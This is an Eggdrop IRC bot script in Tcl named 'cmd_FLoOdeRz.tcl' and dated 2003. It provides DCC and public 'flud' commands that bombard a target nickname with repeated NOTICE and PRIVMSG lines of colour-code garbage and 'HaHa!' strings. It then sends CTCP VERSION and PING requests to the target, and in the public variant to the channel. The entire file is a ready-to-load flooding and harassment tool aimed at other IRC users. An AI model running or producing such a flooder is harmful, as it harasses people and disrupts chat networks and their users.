# Commands & Control, FLoOdeRz. (cmd_FLoOdeRz.tcl)
# Edited by nukie (31 Dec 2003 23:29) - http://nukie.front.ru/

# Set this as your public (channel) command character. For example: you set this to "!".. means you must-
# type !mycommand in channel to activate public commands...
set flud(cmdchar) "`"


######### Please do not edit anything below unless you know what you are doing ;) #########

# binding
bind dcc n|n flud dcc_flud
bind pub n|n [string trim $flud(cmdchar)]flud pub_flud

## dcc cmd flud -- start
proc dcc_flud {hand idx rest} {
 global botnick flud(cmdchar)
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  putdcc $idx "\[4x]: fluding $person ($rest)"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"  
  putquick "NOTICE $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "NOTICE $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "NOTICE $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putserv "CTCP $person VERSION"
  putserv "CTCP $person PING"
  putserv "CTCP $person VERSION"
  putserv "CTCP $person PING"
  putlog "#$hand# flud $person ($rest)."
  return 0 
 } 
 if {$rest==""} { 
  putdcc $idx "\[4x]: usage: flud <nick> <flud msg>"
 }
} 
## dcc cmd flud -- stop 

## public cmd flud -- start
proc pub_flud {nick uhost hand chan rest} {
 global botnick flud(cmdchar)
 if {![matchattr $hand Q]} {puthelp "NOTICE $nick :\[4x]: You haven't authenticate Yourself. Type: \[/msg $botnick auth <password>\] to do so." ; return 0}
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} { 
  puthelp "NOTICE $nick :\[4x]: fluding $person ($rest)"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"  
  putquick "NOTICE $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "NOTICE $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "PRIVMSG $person :$rest ,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  putquick "NOTICE $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putquick "PRIVMSG $person :$rest ,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putserv "CTCP $chan VERSION"
  putserv "CTCP $chan PING"
  putserv "CTCP $chan VERSION"
  putserv "CTCP $chan PING"
  putlog "<<$nick>> #$hand# flud $person ($rest)."
  return 0 
 } 
 if {$rest==""} { 
  puthelp "NOTICE $nick :\[4x]: usage: flud <nick> <flud msg>"
 }
} 
## public cmd flud -- stop 

putlog "\r"
putlog "\[4x]: Commands & Control, FLoOdeRz. Loaded."